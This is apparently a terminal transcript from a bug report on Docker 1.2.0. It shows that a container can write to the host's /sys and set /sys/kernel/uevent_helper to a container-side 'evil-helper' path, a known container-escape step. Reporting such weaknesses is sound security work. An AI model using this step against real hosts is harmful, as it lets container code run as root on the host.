kalmi@sylph ~> docker run -t -i busybox:latest / # mount -t sysfs sysfs /sys mount: permission denied (are you root?) / # mkdir sys2 / # mount -t sysfs sysfs /sys2 mount: mounting sysfs on /sys2 failed: Permission denied kalmi@sylph ~> docker --version Docker version 1.2.0, build fa7b24f kalmi@sylph ~> uname -r Linux sylph 3.13.0-35-generic #62-Ubuntu SMP Fri Aug 15 01:58:42 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
The /sys is mounted already and reading/writing to it succeeds:
/ # mount -t sysfs sysfs /sys mount: permission denied (are you root?) / # echo /var/lib/docker/aufs/mnt/638ae26bb710384a8ebade3a66049277affea8b0f3e96003d351f167a9706aef/tmp/evil-helper > /sys/kernel/uevent_helper / # cat /sys/kernel/uevent_helper /var/lib/docker/aufs/mnt/638ae26bb710384a8ebade3a66049277affea8b0f3e96003d351f167a906aef/tmp/evil-helper